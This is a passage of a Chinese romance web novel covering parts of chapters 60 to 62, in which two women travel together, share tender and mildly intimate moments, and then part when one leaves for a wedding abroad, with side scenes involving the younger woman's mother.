海景城市,最闻名的菜肴当然是海鲜,这下姜又柠倒是可以狠狠地过嘴瘾了。 餐盒被打开,两个人坐在地毯上,就着茶几吃饭。 姜又柠心情雀跃,主动抱着女人的脖子‘吧唧’亲了一口,戴上手套就开始剥虾。 她吃海鲜不喜欢让别人帮自己动手,这种带壳的食物就是自己一边剥一边吃才最香嘛。 岑曳懂她这点,便任由她去了,看着手机回了几条工作消息。 姜又柠剥了第一个虾喂进了女人的嘴裏,自己嗦了下一次性手套,满足地咂咂嘴,“还得是当地的海鲜好吃!” 【岑千兰:婚礼日期在12月13号,你最好在月初就回来,婚礼之前还有几个高层宴会,国内部门发展得好,你总得回来让她们再眼熟一下。】 岑曳放下手机,将蹭上油渍的桌面擦了擦,随手将纸巾丢进了垃圾桶。 “你怎么不高兴的样子?”姜又柠关心道,“我就说应该点外卖的嘛,赶飞机真的很耗神。” “没有,有点工作上的事情。” 没想到姜又柠更愧疚了,“是不是耽误到部门的工作了?其实也不用现在来旅游吧……明年我们也可以用年假旅游啊。” “话多,你吃你的。”岑曳说,“这都不是你该考虑的事情。” 包裏装的纸巾没了,岑曳从行李箱裏拿出两包抽纸和湿巾,没让她用酒店的纸巾。 她给姜又柠擦嘴,“少吃一点,不然晚上睡觉不舒服。” “好。”姜又柠嘴上答应着,但剥蟹壳的动作一点儿都不含糊。 【岑千兰:你不要跟妈妈耍性子,你应该分清事情的轻重缓急,多挪出来几天时间早点回来。】 岑曳再次放下手机,用勺子搅拌着碗裏的海鲜粥,眉头皱得很深。 “下个月月初我应该就得回总部那边。” “为什么?”姜又柠一顿,“回去这么早吗?” 岑曳点点头,没跟她解释太多。 因为婚礼的原因,这次总部的头子聚得比较全,还有其它国家的分部负责人也都会回来。 所以一连定下了好几天的高层宴会,这几年各个高层也开始提拔自己手边信任的人,都想找个合适的时机让大家混个眼熟。 尤其前两年岑曳和庄玟在总部的项目做得过于出色,高层那些人也都急得很。 跟炫耀孩子一样,尽管跟岑千兰关系有些僵硬,但岑曳还是不想让她在这种事情上为难。 “那你什么时候回来?”姜又柠算了算,“诗文跟我说十三号办婚礼,那你回来至少也得十四号了吧?那不是也得回去两星期?” “我尽量晚些回去,月初也不非得是一号。”岑曳露出了一个安抚的笑容,但姜又柠脸上的不舍却没有任何退却。 非得在这个时候告诉她这么残忍的消息,面前丰盛的海鲜大餐都吃得不香了。 岑曳也不想告诉她这么早,但临走之前跟她说只会更加突然。 姜又柠取下手套,用湿巾擦了擦手,爬着挪到了女人的怀裏。 她叉开双腿坐在女人身上,靠在她肩头上,一脸不舍的样子。 岑曳无奈地嘆了口气,拍拍她的后背,柔声问她,“吃饱了吗?” 姜又柠点点头,不说话,只是抱紧了她。 “我们柠柠,还跟小时候一样,黏人。” 今天已经二十几号了,这意味着,不到一星期的时间,岑曳就可能已经离开了。 甚至下个周末她休息的时候,家裏就只剩下她一个人了。 姜又柠鼻子发酸,张了张唇,可挽留的话还是说不出口。 岑曳既然这么跟她说,就一定有必须要早点回总部去做的事情。 姜又柠舍不得她,但也自知不能像小时候那样任性,想要她留下来陪自己,就必须告诉她,要她为难,要她非做唯有自己不可的选择。 岑曳一开始在国内工作的那几年请了多少次假,都是为了她。 现在的姜又柠成熟了很多,也学会了人情世故和体贴。 她应该放弃一些事情,这样才能换来平等的爱情,一味地要岑曳做出退让那太不应该了。 颈窝裏几道热热的东西滑下来,岑曳拍她后背的动作微顿。 她抿唇,最终还是说,“我就只走一天,好不好?十二号晚上走,十三号参加完婚礼我就回来。” “……不要。”姜又柠的眼泪还是没能忍住,“干嘛非得在我这么开心的时候跟我说你要走啊……烦死你了……” 岑曳用指腹给她擦掉眼泪,面容上写满了自责。 是她考虑得不周,每次在这种事情上她就会有点着急。 岑千兰给她发的那几条消息她也还没回,重新做决定也未尝不可。 “你走吧,我就是忍不住眼泪,你知道的……”姜又柠怕她因为自己耽误事情,可她控制不住自己的情绪,只能哽咽着开口,“你别这么赶时间嘛,太辛苦了……” 一晚上,姜又柠都哭得可怜兮兮的。 岑曳把她抱进浴室洗澡,看她扶着浴缸边沿,红着眼睛瘪嘴忍泪的样子心疼得不行。 “我没哭!”姜又柠声线都颤抖着,“我就是……海鲜太好吃了,我的口水从眼睛裏面香得流出来了……” 床上,姜又柠难得主动,她抱着岑曳不肯松手,要她快些再快些。 哪裏都被香得流口水,连女人的手心裏都蹭满了她的口水。 明明还不是马上分开,也不是日后再也不会相见,可姜又柠还是好难过。 舌尖柔软,连津液都是甘甜的。 身体没有任何距离,紧密相贴,岑曳拥住她,亲身感受着她的颤抖,安抚着她的余颤。 姜又柠困得直接睡了过去,这次跟女人面对面相拥。 不再吵吵嚷嚷岑曳压到了她的头发,也不嫌弃岑曳的长发总是勾着她的脸颊,更不觉得面对面拥抱她的一双手无处安放。 早上,两个人是被闹钟喊醒的,姜又柠困得眼皮子都睁不开,岑曳掐掉闹钟,低声问她,“起床吗?再不起床预约的景点就要迟到了。” “可是我好困……”姜又柠喃喃道。 她喜欢轻松一点的旅游,不喜欢特种兵式的。 每个城市只来一次不可能哪裏都会玩得很周到,所以姜又柠一天只安排了一个景点。 “那你再睡会儿,我看看景点预约下午还有没有名额,好不好?” 姜又柠迷迷糊糊应了一声,翻了个身,用被子捂住了自己的脑袋。 岑曳起身下床,将被子从脑袋上拽下来给她掖好,洗漱之后又接了个岑千兰的电话。 “我会在月初回去的,这么频繁跟我打电话,一点儿都不像你的风格。” ——“这么频繁跟我作对,也不像是你的风格。” “我哪儿敢跟您作对?”岑曳在酒店的iPad挑选早餐,“岑家领导说的话,哪儿有人敢不服从的?” ——“你少来,具体回来的日子确定了你就告诉我,我派人去机场接你。” “妈,其实我在国内部门的发展,你也挺满意的吧?” 对话那边又是一阵沉默。 ——“……我知道你想说什么。” “那你考虑一下呢?”岑曳说,“国内市场大,总部肯定会大力扶持的,我的选择不会错的。” ——“你回国内为的是开拓市场、在总部占据话语权吗?岑曳,你是我的女儿,我很了解你。” “当然不是,这点我从来没瞒过你。”对于姜又柠的感情,岑曳从始至终都很坦然,“但歪打正着,也算在我的选择上。” 中午,姜又柠懒洋洋地被喊了起来,岑曳一如既往耐心地伺候她起床,脸上满是温柔,没有任何不耐烦。 “糟了糟了,我们预约的时间是早上!” “又迷糊了?我把时间改到下午了。”岑曳说,“幸好不是寒暑假的旅游热潮,不然我们可没这么幸运了。” “早上很困没听仔细嘛……”姜又柠哼唧一声,小声道,“昨晚你太过分了……” “不是你咬着我的手不肯放?”女人轻笑一声,“还嫌我动作慢,说我晚上没吃几口饭,力气变得这么小。” 姜又柠嘴硬起来什么话都敢说,根本不考虑后果。 最后床湿哒哒的根本不能睡,姜又柠还小心翼翼地问她,搞成这个样子是不是要赔偿。 岑曳告诉她,‘坚持再久一些,我就帮你付了赔偿。’ 最后姜又柠被哄骗得毫无力气,什么都没精力去想了。 对于爱吃的食物,无论吃多少顿,姜又柠都是不会腻的。 于是中午两个人又换了一家海鲜餐厅,在店裏吃的果然比打包回去得更香。 姜又柠大饱口福,岑曳便充当了她一下午的工具人,给她拍了很多照片。 姜又柠喜欢拍,且什么都拍,好吃的、好玩的、甚至是雪地裏偷偷藏起来的一片叶子,她都能蹲下来认认真真摆角度拍个没完。 岑曳的手裏拎满了当地小吃摊上的美食,都是姜又柠吃了一口就不吃的。 “我要空着肚子多尝几份不一样的!” 买的时候岑曳看着不算干净的路边摊皱起了眉头,姜又柠还捂住她的眼睛不准她看,“不看不看!闭上眼睛它就变干净了!” 岑曳给她拍的单人照她不太满意,女人看了看周围的街拍,“给你租个摄影师?” “不要不要,拍得太好看了不符合我的风格。” 女人挑眉,“还有这说法?” “看起来不算完美的才最真实呀!”姜又柠打算给她瞧自己之前的照片,但下意识按照分类找照片的时候就想起来自己换了手机,“哎呀,诗文给我的U盘我还没来得及导入照片呢,回去再给你看吧。” 姜又柠挽着她,对着手机上推荐的拍照绝佳位置去找在哪片区域,“但这个手机挺奇怪的,有时候上面的摄像头会亮红点点,又是哪个软件在监视我啊!!” 闻言,女人停了脚步,“我看看。” “你看不出来的,每次我自己出门的时候就会亮,在家裏就不亮。”姜又柠仔细回忆着,“跟你在一起的时候也不亮。” 姜又柠思索了下,“你站着别动啊!” 她小跑了着去了桥对面,喘着气看手机,又招招手示意岑曳快些过去。 “这个桥直径得有两百米了吧,刚刚也没亮,真奇怪!” 岑曳淡声道,“嗯,咱俩手机一个牌子,回头我也注意一下。” “回头我得把手机上的软件权限都关一下。”姜又柠随口说着,“虽然关了好像也没什么用,甚至还会影响到我自己的使用……” 她从女人拎着的小吃裏面挑出一份自己捧着边走边吃,噎住了岑曳就喂她喝一口热奶茶。 实在惬意又舒适,看见有人在雪地裏打滚,姜又柠也躺下去,在岑曳的欲言又止下翻来覆去地打滚。 身上沾了不少雪花,她站起来拍打了几下棉袄,双手捧起来雪花,张嘴吃了一口。 ……没什么味道。 岑曳在一边看着,眉头紧紧皱着,但最后还是一个字都没说。 算了,姜又柠快乐就好了。 但要是折腾生病了,她真的会生气的,然后冷着脸伺候到这位祖宗痊愈。 别人都在打雪仗,姜又柠知道岑曳肯定不会陪着她玩这么幼稚的游戏。 她用手掌捧起来好大一滩松松软软的雪,走到女人面前,高高地一扬。 “下雪啦!” 雪花哗哗啦啦飘扬下来,姜又柠看清了女人的笑容,在昏黄路灯的照耀下,眸光裏满是柔情缱绻。 岑曳想抱住她吻她,但两手还是满满的小吃。 真让人无奈。 姜又柠想要告白一下,但又觉得好尴尬,她现在说不出这么肉麻的话了。 要是以前的她,肯定恨不得把‘我喜欢你’这四个字对着岑曳说上一百万遍。 周围的人实在太多了,姜又柠深呼吸了下,做了好久的心理准备,嘴巴张大了好久,最后还是吐了一口浊气。 “走吧,我们去下一个景点。” 岑曳抿唇,被她拉着继续往前走。 “怎么?你看起来好像很失望?” “是挺失望的。” 承认地如此直白,姜又柠倒是不好意思再反驳她,但更不敢往下继续问,怕听到那些少儿不宜的话。 姜又柠低头看手机不说话转移着女人的注意力,“我再看看晚上哪裏拍照好看!” “前面前面!”她指向了斜对面的方向。 岑曳顺着她的视线看过去,那裏没有过多的布置,只挂了几条LED彩灯,没几个人在周围。 “走啦!”姜又柠拉着她走,自己很快又松开她提前小跑过去。 她偷偷从口袋裏拿出口红,在自己的嘴巴上用力涂了好几下,然后抿了抿唇晕开。 光线确实不太清楚,她打开摄像机看了看,招呼着岑曳快些过来。 “在这儿拍?”岑曳往周围看了看,“要不要去那边光线好的地方?好像还有冰雕。” “先在这儿嘛,我们来拍张合照!”姜又柠举起手机,示意女人看镜头。 按下快门的同时,她猛地亲了下女人的脸颊,将口红印重重印了上去。 “这下不失望了吧!”姜又柠哈哈笑了几声,又警告了一句才朝前跑,“口红印不准擦!去看冰雕咯!”—— 作者有话说:好甜的一章,但藏了很多细节,嘻嘻[哈哈大笑][哈哈大笑]《 》 60-65 第61章 冰雕那儿聚集了很多人, 为了拍照好看,都脱掉了棉袄露出了裏面精心挑选的打底。 姜又柠刚把棉袄的拉链拉下来,岑曳就皱着眉头给她拉了上去。 “不准脱。” 姜又柠重新拉下来, “晚上睡一张床的时候也没见你这么说!” “现在不准,晚上随便你脱,你什么都不穿都行。” “岑曳!”姜又柠的手死死地拽住拉链, 被女人冷脸盯着也不好有别的动作。 “我不想穿的跟个汤圆一样拍照嘛……”她吸了吸鼻子,眼眶立马就红了, 脸上的笑容消失得无影无踪, 看起来可怜兮兮的。 ‘容易感冒生病的理智’和‘好可怜一下子心软了’的两种情绪在岑曳心头交杂, 她抿着唇, 欲言又止。 姜又柠努力挤出眼泪来,同时紧紧盯着女人的脸,手指捏住自己的拉链,察觉到女人逐渐心软之后, 她又继续哽咽着说, “好不容易来旅游一次,照片都不让我拍,下周说不定就是我自己一个人在家了,我怎么每天都这么可怜啊……” “行了。”岑曳本就绷着的心脏彻底软了,她松了口, “就两分钟, 拍完就去室内。” “好呀好呀!”姜又柠立刻收了眼泪, 脱掉了棉袄搭在了女人的小臂上,满脸都是灿烂的笑容。 她对着镜子整理着自己的口红,嘴唇都擦疼了才擦干净,刚才为了恶搞岑曳, 她涂口红涂得也太用力了。 不过幸好是晚上,大家都注意着景色,没有人会特别关心别人脸上的妆容。 跟江诗文一起出门玩的次数太多了,姜又柠也学会了很多拍照的姿势,所以她指挥着岑曳调整角度,很快就找了个光线最好的地方拍下了几张不错的照片。 姜又柠将手机放在地上,拉着岑曳过来,“我们拍张合照吧!这次就不亲你了!” 手机调整的是连拍模式,岑曳先是看向了姜又柠,被姜又柠恶狠狠地盯回去道‘看镜头啦!不准看我!’,之后她才看向了地上的手机。 姜又柠笑着去捡地上的手机,刚蹲下身上就挂上了棉袄外套。 她虽然不太情愿,但还是乖乖穿上了棉服。 晚上姜又柠找了家当地的大排檔烧烤,裏面人很多,但身处景区售价还是很便宜。 岑曳吃得很少,她只是点了杯鲜榨果汁慢悠悠地喝着。 姜又柠一手拿着肉串,一手拿着大鱿鱼吃得很香。 “我想喝啤酒!冰的!”姜又柠翘起二郎腿,“不准说不能喝!我可是在通知你,没跟你商量。” 她放下烧烤,拉开拉链,“这个店裏太热了,我感觉我出了一身汗,黏糊糊的。” 岑曳思索了下,答应了她。 来玩就玩得开心好了,她也不想一直扫她的兴。 一瓶冰镇啤酒拿上来,姜又柠眯着眼睛喝了一口,“还是得啤酒配烧烤,太幸福了!” 岑曳看她高兴,没有多说什么,只是频繁用纸巾去擦她嘴角上的油渍。 真跟伺候小孩子一样。 啤酒太占肚子了,姜又柠最后也没能吃多少,店主好心地将串都捋了下来,装进了盒子裏打包。 姜又柠晃晃悠悠朝着外面走,岑曳拎着她在手机上打车。 时间太晚了,这裏有交通管辖,不允许出租车在这裏停留。 从暖和的饭店裏出来,晚风吹着有些冷,姜又柠打了个喷嚏,紧紧抱住了岑曳的腰,“你只穿这个大衣不冷吗?” “还好。”岑曳单手搂过她,指腹捏了捏她的脸,“困了吗?” “有点晕碳了……” “但是这裏不能随便躺地上了。” “又乱说……”姜又柠哼唧一声,别过头懒得理她。 她就是在家裏餐后犯懒,才想着让岑曳背她回房间的。 现在这冰天雪地的,她又不是傻子。 等了将近二十分钟才等到了车子,姜又柠坐在后排,没多久就睡着了。 岑曳望向她熟睡的脸,抱她更紧了些,像哄小孩子一样轻轻拍打着她,下巴搭在她发顶,要她热切感受自己怀抱的温暖。 到了酒店,岑曳也没喊醒她,将她抱下了车,手裏还拎着打包回来的烧烤。 两个人周一请了假,是下午的飞机,所以明天睡个懒觉,再吃个午饭就可以回去了。 岑曳给她洗了澡,忙碌了好久才在她身边躺下。 姜又柠迷迷糊糊寻找着热源,趴在她身上继续熟睡。 岑曳的手落在她后背上轻轻抚摸,另只手看着工作消息,吩咐着助理周一早上开例会,顺便安排一下接下来两周的工作。 庄玟已经跟江诗文提前离开了,她下周也要走,接下来的一段时间裏,将近两个星期部门都不会有领导出现。 部门人员刚刚稳定下来,也不知道之后的一段时间会不会变得乱糟糟的。 岑千兰也给她发了宴会的人员名单,上面有很多都是岑曳在总部工作时见过的老熟人。 【岑千兰:机票早些订下来,省得有意外。】 岑曳应了一声,回了还在看票,也没说别的。 放下手机,她也没有任何睡意,认真看着姜又柠熟睡的样子,嘆了口气。 分别真是一件令人难过的事情。 尤其是在关系转好,却因为各种特殊情况被迫再次分开的时候。 虽然只是短短的一段时间,她不是不回来了,姜又柠也不是不喜欢她了,可她就是觉得心裏乱乱的。 “姐姐……”姜又柠往前蠕动了下,脑袋在女人胸前蹭了蹭。 岑曳闻言微愣,随后笑了下,轻轻地点了点她的鼻尖,“哪天才能在清醒的时候再这样喊我呢?”- 姜又柠遇到认真的事情的时候就会很精神,早上闹钟还没响她就醒了过来,又开始施行自己的偷拍重任。 她瞧岑曳怎么瞧都觉得好看,在床上忍不住撑着下巴看她。 电话铃声响起,她看了一眼屏幕就打算装睡,后知后觉地意识到备注上的‘妈’之后,眼睛没有闭上了。 想着再看一眼的时候,女人就将电话挂断了。 “醒了?” 姜又柠点点头,下了床,“你打电话吧,我去洗漱了。” 看见她逃避的动作,岑曳意识到她大概是看见来电显示了。 她从姜又柠身后抱住了她,姜又柠正刷着牙,被女人不老实的手弄得痒痒的,缩了几下肩膀咯咯咯地笑。 “你怎么不打电话?”姜又柠说完就将牙刷伸进嘴裏,不打算回答自己主动扔出来的话题。 “别的事情都没陪你更重要。” 姜又柠轻轻哼了一声,算这个女人识相会说话。 她洗漱完就去收拾自己的行李,因为就来了两天,所以东西很少,岑曳从洗漱间出来的时候都在皱着眉头回信息。 岑千兰对她还是很严肃吗? 姜又柠忍不住在心裏面偷偷地想。 现在的岑曳这么优秀能干,早就达到岑千兰的目标了吧? 她要是跟岑曳一样有能力,姜鸿英肯定会敲锣打鼓地以她为傲的。 “你机票订好了吗?” 一开口就是一句熟悉的话,岑曳抬头看她,“收拾好了?那出门吃饭吧。” 姜又柠被她拉着走,“订好了没有啊?你别磨磨蹭蹭的,到时候忘东忘西的。” “我们忘性大的柠柠什么时候也会提醒别人不要忘记带东西了?” “关心你嘛,你还不乐意。”姜又柠实在好奇早上的那通电话,“你跟……跟你妈妈讲好你什么时候回去了吗?” 她真想知道岑曳在想什么,岑千兰现在又是什么态度。 岑曳在哪裏都是报喜不报忧的人,之前工作的时候有什么麻烦也不跟她讲,虽然她没办法帮她解决,但是她可以哄她开心啊。 “下周六早上。” “啊……”姜又柠呆呆地点点头,“你不在周内走啦?” “撵我走啊?” “干嘛这样说嘛,你明明知道我的想法的……”姜又柠跟她置气。 “好了好了,是我的错。”岑曳及时打住了,再逗下去,这祖宗又要哭了。 吃了最后一顿饭,两个人顺利地坐上了飞机。 相比于来时的欢快,走之后姜又柠脸上明显多了很多落寞的神情。 她睡不着,翻看着手机上一张张照片,嘆了好多口小小的气。 “之前还说要拍大头贴呢,也没有拍……” “还有个适合下雪拍照的地方也没去,这两天温度冷,但没下雪……” “朋友圈也没时间发图分享什么,我连机场定位的朋友圈都没发……” 她本来打算晚上到了就先发一条朋友圈的,但被飞机上那通断网操作搞得两三天都不敢打开微信。 江诗文到了国外就杳无音信了,估计是忙起来了,姜又柠问候了几句那边也回得很慢。 心裏空荡荡的,姜又柠不知道怎么形容这种感觉。 她没想到自己会跟江诗文玩得这么好,因为有过前车之鉴,她跟岑曳那段感情谈得太失败了。 于是她理所当然地想,爱情要门当户对,友情是不是也要? 不然跟不上对方的消费习惯,听不懂对方说的名牌大牌,会不会被瞧不起? 但得到过最纯真的感情之后,如何维持就变成了一件艰难的事情。 姜又柠闭上眼睛,也曾想过她是不是应该去参加江诗文的婚礼,毕竟她可以不跟岑千兰见面,可以躲起来的,不坐同一张桌子。 但那个时候岑曳一定会陪着她的,那她就成了阻碍母女关系的罪人了。 当着那么多高层的面,将她们艰难的母女关系彻底暴露在了人群之下。 有钱人是要面子的,姜鸿英常常这样教育她,她们要学会给有钱人捧场面。 幸好她遇到的人都很好,江诗文告诉她,‘有特殊情况不来也没关系,这婚礼我自己都不想来参加呢!我之后还会回国的,我们当然是永远的好朋友呀!’ 岑曳告诉她,‘我会尽快回来陪你’,甚至要为她当天跑个来回。 真是疯了,疯了一样地什么都愿意为她做。 这会儿女人依旧闭着眼睛睡着,姜又柠凑近她的脸仔细看,没有想要再拍照的意思,只是越看越难过了- 接连一周姜又柠的情绪都很低落,江诗文早都走了,她连个话都没人说。 部门裏留下来的都是认真工作的,没几个爱说闲话的。 当初的那个工作群,每天都是999+,自打刘姐被裁了之后,也没多少人发言了,后来便悄无声息地解散了。 姜又柠喝着热奶茶,偶尔能看见右下角的微信闪了几下,江诗文跟她吐槽几句事情又多又杂,没聊几句就再次消失。 过了十几分钟又回了句想她就彻底没影儿了。 摸鱼的劲头被撩起又按捺下,偏偏每次都会让她想起,岑曳也在为了这个婚礼早些请假离开的事情。 也不知道是情绪原因还是两个城市温差过大,姜又柠这周光荣感冒了。 岑曳为了腾出足够的时间,这周也是拼命加班,大会小会开了不少,嗓子也发炎了。 两个人都吃着药,姜又柠是重感冒,脑子晕晕乎乎的,但不想请假,就想跟岑曳一起上下班。 吃了晚饭之后,姜又柠躺在床上,岑曳拿过桌上感冒药的盒子,发现裏面已经空了。 她正准备让外卖送个感冒药来,姜又柠就晕晕乎乎地说,“床头柜的抽屉裏好像还有,是我从原来的出租屋拿来的,但不知道过期了没有……” 岑曳蹲下拉开抽屉,先是被一个粉白色的大盒子吸引走了注意力,不过还是找到感冒药,看了下保质期又端了温水让姜又柠把药吃了。 她坐起来捧着水杯喝水,余光瞥见关了一半的抽屉,心裏惊了下,冒了下冷汗。 姜又柠半趴在床上,伸手将抽屉关严实了。 岑曳咳嗽了下,喝着热水,余光瞥见她的动作,走过来问,“怎么了?” 姜又柠摇摇头,老老实实地喝光一大杯温水,“我还想喝……” 看见女人转身去了客厅之后,她拉开抽屉把盒子拿出来,焦急地想该藏在哪裏好。 目标这么大,刚刚岑曳肯定发现了。 可卧室内也没有别的地方也容纳得下这么大的盒子了,她急得身上直冒汗。 喝感冒药没能捂出来的汗这会儿倒是全冒出来了。 “水。”岑曳在身后开了口。 姜又柠手裏捧着盒子,跟烫手的山芋一样,直接塞进了被窝裏。 她重新喝着水,女人‘小心烫’还没来得及说完,她就皱起眉头伸出舌尖‘嘶’了下。 “躺床上去,怎么跑下来了?”岑曳有意地将那只盒子挪了下位置,没让她爬上床的时候硌到。 姜又柠蜷缩着腿,心脏跳得很快。 “行了,闭眼睡吧。”岑曳拍拍她的身体,看着她闭上眼,拿出了藏在被子裏的盒子。 姜又柠的耳朵始终竖着听动静,看见女人打开盒子之后飞扑过去拦住她,“你不准看!” “不准我看?那你打算什么时候用?” 她早都看见了这抽屉裏的玩具,只不过一直没提。 “我自己不用……”姜又柠羞得抬不起头来,脑袋埋在她胸前,丢脸得很。 “自己一个人不用,那是打算我帮你用?” 姜又柠手掌攥紧她的睡衣,气愤地扯开她的扣子,咬她柔软前的两抹红晕。 岑曳笑出声来,“反正明天是周六,你不用上班,起晚了也没关系,试试?” “岑曳!”姜又柠立马钻回被窝裏,“会把感冒传染给你的,你赶紧吃了药上床睡觉!” “等我回来,我们再一起研究。”岑曳躺下来抱住她,“你不说我都忘了,回头搬新家之前,我们买些你喜欢的玩具放在家裏?” “你不是不喜欢这些……” 岑曳喜欢用自己感受她,相比于冰冷的玩具,还是亲自让她到达带来的愉悦感更强。 “以你的感受为主。”女人亲吻她的额头,“你的感受时时刻刻都是最重要的。” 姜又柠忍不住亲她,“送我个道别吻吧!” 她不在乎会不会把感冒传染给岑曳了,她现在就想亲她。 岑曳立即应允她,很有耐心,吻也很绵长。 她顺着她的唇一点一点地舔,舌尖钻入她的口腔,勾着她的软舍纠缠,怎么也不舍得分开。 “我会想你的……”姜又柠寻找着双唇松开的缝隙,还是被感冒弄得头昏脑胀,“你也要想我啊……” 她本就染起绯红的双颊这下更是熟得不像样子,岑曳看她,心裏软得一塌糊涂。 “睡吧。”岑曳紧紧抱住她,忍不住一次次轻吻她脸颊。 “我舍不得睡觉……”姜又柠哽咽了,语气酸涩,“也舍不得闭眼……” 她真怕自己一闭上眼睛,醒来的时候家裏就只剩下她一个人了—— 作者有话说:[摸头][摸头] 第62章 醒来的时候, 卧室裏真的没人了。 旁边的被窝裏也是冷的,岑曳已经走了好久。 姜又柠不想起床,这次不是因为犯困想要睡懒觉, 而是身边的人不在,她接受不了偌大的房子裏就只剩下自己一个人。 自我鼓励了好久,她才从床上爬起来。 餐桌上放着冷掉的早餐和一张便利贴—— 记得每天给我发一日三餐, 我会催你。 微信裏确实多了几条岑曳的消息,从准备早餐、出发、到机场、上飞机, 事无巨细地发了过来。 现在她应该还在飞机上, 姜又柠也没热早餐, 就着冷的吃掉了。 实在无聊的一个周末, 她的感冒好转了一些,脑子要清醒了很多。 姜又柠只好去了买了些补品去了姜鸿英那儿。 这周末雇主刚好出了趟远门,姜鸿英也没去接临时的家政工作,在宿舍裏休息。 她现在做工也没过去拼命了, 姜又柠好好地抚养长大了, 现在工作也不错,她没有太多的负担,只需要养好自己的身体。 人老了健健康康的少生病少跑医院,才能不给自己的孩子添麻烦。 巧的是,颜歆也在。 自打上次坦白之后, 姜又柠也没跟她在聊过天, 此刻见了面还有些尴尬。 颜歆或许是跟自己的妈妈私下裏也聊过了, 后来也没再提起过发展感情的事情。 宿舍内开了空调,颜歆穿了件白马甲套衬衫,唯独黑框眼镜增添了别样的一抹颜色。 她正跟姜鸿英学着鈎织,上次给江诗文绣的鸳鸯围巾她瞧见了, 也挺喜欢的。 姜又柠把东西放下,坐在一边也没打扰她们。 颜歆虽然看着是个不茍言笑的知识分子,但很会哄长辈开心,频频夸赞姜鸿英手巧,姜鸿英脸上的笑容就没断过。 自己作为亲女儿坐在一边,还怪让人失落的。 “颜阿姨不在吗?”姜又柠主动开了口。 “她得做了好几家饭才能回来,回来的时候估计都傍晚了。”姜鸿英说着,将手裏织了一半的手套给她看,“你瞧我这手套,冬天骑车暖和多了,买厚手套得大几十呢。” 姜又柠拨弄了下,“挺好的呀。” 姜鸿英不满意,“你看人家歆歆多会说话,你一张嘴显得我这手套都不漂亮了。” “行吧,那你让歆歆姐多夸你几句。”姜又柠跟颜歆对视了一眼,别扭地挪开了视线。 “我就是休息的时间自己无聊,想学个爱好打发时间,正巧阿姨擅长,我哪裏有夸,说的都是实话而已。”颜歆扯了扯唇,“你这周怎么有时间来?” “我也有两个星期没来了。” 颜歆没由来地笑了下,“感冒还没好就大冷天地出门了?” 姜又柠摸了摸鼻子,不知道是被说了下还是怎么着,立即打了个喷嚏。 颜歆笑出了声,“吃药了吗?” “吃过了,已经好很多了。” 姜鸿英闻言,又皱着眉头责怪了她几句,“我这几天给你织个帽子好不好?还有之前给诗文的那条围巾的款式你喜不喜欢?” “我不喜欢太厚的围巾嘛,戴上勒得慌。” “我喜欢,阿姨,你不如也织一条送我啊。”颜歆举起来自己学的不像样的编织,“你瞧我手笨的,等织一条出来,冬天都过去了。” “行!先给你织!”姜鸿英一口就答应了。 姜又柠张了张唇,什么话都没说。 傍晚颜阿姨回来之后,四个人又去外面吃了饭。 刚坐下姜又柠就收到了一条消息。 【岑曳:出去吃饭了?】 【姜又柠:你下飞机了吗?】 【姜又柠:你怎么知道我在外面吃的晚饭?】 【岑曳:刚下。】 只回答了一个问题,姜又柠也没多想,发了条自己饭前拍的照片之后,就要她快些回家先好好休息。 【岑曳:吃得不少。】 姜又柠差点在打字框输入【四个人】,随后新编辑了一条【跟我妈一起吃的】发了过去。 【岑曳:嗯。】 嗯? 又是嗯? 姜又柠往周围看了看,如果不是知道岑曳去了国外参加婚礼,不然她真的会觉得现在这个女人是不是藏在哪裏偷窥她。 她又叮嘱她好好休息,之后便安心地吃起了饭。 放下手机之后,姜又柠意识到对面颜歆的视线一直落在她身上。 “怎么了?”姜又柠疑惑道。 颜歆摇摇头,笑笑没说话。 反正现在姜又柠跟颜歆也没负担,她继续偶尔看一下手机,江诗文跟她也聊了几句岑曳,姜又柠便说岑曳已经到了,顺便抱了点儿私心,要江诗文跟庄玟这几天多看着点儿岑曳,别让她喝酒。 【江诗文:你是不知道岑曳姐酒量有多好,都是之前应酬练出来的。】 【姜又柠:她酒量差得很,我很清楚的。】 【江诗文:那应该是很早之前了吧?你俩住一起的时候晚上没一起喝过吗?】 姜又柠细想了下,岑曳现在喝酒也是没喝几口都醉了啊。 难道是装的? 按照这个女人偶尔冒出来的坏心思,这完全是有可能的好吧! 【江诗文:主要最近高层有几次聚会,我跟她也不能一直待一起,婚礼就不可能了,不过我会尽量帮你看好的!】 【江诗文:没有我还有庄玟呢!你放心吧!】 姜又柠越想越生气,但她念着现在岑曳辛苦,这账等她回来了算! 她气鼓鼓地吃了两大碗饭,饭后几个人便找了个宿舍附近的小道慢悠悠散步消食。 “最近你跟……”姜鸿英想了想也没开口。 她本来是反对这段感情的,变卦这么快她面子上过不去,但又不想让姜又柠受欺负,所以问不出口但是又担心得很。 况且当初在客厅闹得不好看,后来她想了很多次,当初肯定有更好的解决办法,而不是当着自己孩子的面,做出那么冒失的举动。 她只想着不能丢工作,不然养不起家了,却没想到那样的举动会不会伤害到姜又柠。 小孩子是需要人撑腰的,她身为母亲都那样谨小慎微,万一姜又柠也养成了怯弱的性格该怎么办? 幸运就幸运在岑曳性格温柔,喜欢上了姜又柠,可坏也坏在她喜欢姜又柠。 如果不是岑千兰当初态度太强硬,她或许会很早就不再反对这段感情。 “我跟岑曳姐吗?”姜又柠当然知道她想问的,挽住她的胳膊甜甜地笑,“我们特别好呀!” “她也不说跟你一起来看看我……” “我跟你讲了嘛,诗文回国外结婚,她作为婚礼双方的朋友,关系那么亲近,肯定得去的。”姜又柠说,“你想的话,等她回来了,我跟她再一起过来。” “我不用。”姜鸿英果断拒绝,“我不用你们看我,你自己过得舒服就行。” “干嘛这样说……”姜又柠求着情,“你不知道吧,她也挺怕你的。” “她怕我做什么?” “怕你不同意让她跟我在一起,也怕你不喜欢她。”姜又柠说,“我们在岑家的时候,岑曳姐对你也很好呀妈妈!你想的话,我们也可以跟以前一样的,她说了好多次,很想吃你做的饭……” “回来找个机会,我去她家裏做,不过不知道她那个小区门禁严不严。”姜鸿英嘆口气,“现在好多小区出入都要门禁卡,去做个饭还得给雇主打电话开证明,麻烦得很。” “嗯……”姜又柠顿住,“她那个小区,应该是不需要门禁卡的……” “是嘛,她现在在哪裏住?” 眼看瞒不下去,姜又柠只得承认,“妈,你忘了吗?上次你跟她在小区碰到了。” “跟你一个小区啊,我现在的记性确实不太好。” 姜鸿英往前走了几步,‘嘶’了下觉得哪裏不对劲,但没想出个所以然来。 后面的颜阿姨想到什么,急匆匆走过来跟姜鸿英聊了个话题。 姜又柠看她们着急,自动往后退了一步。 “小心。”颜歆扶了她一下。 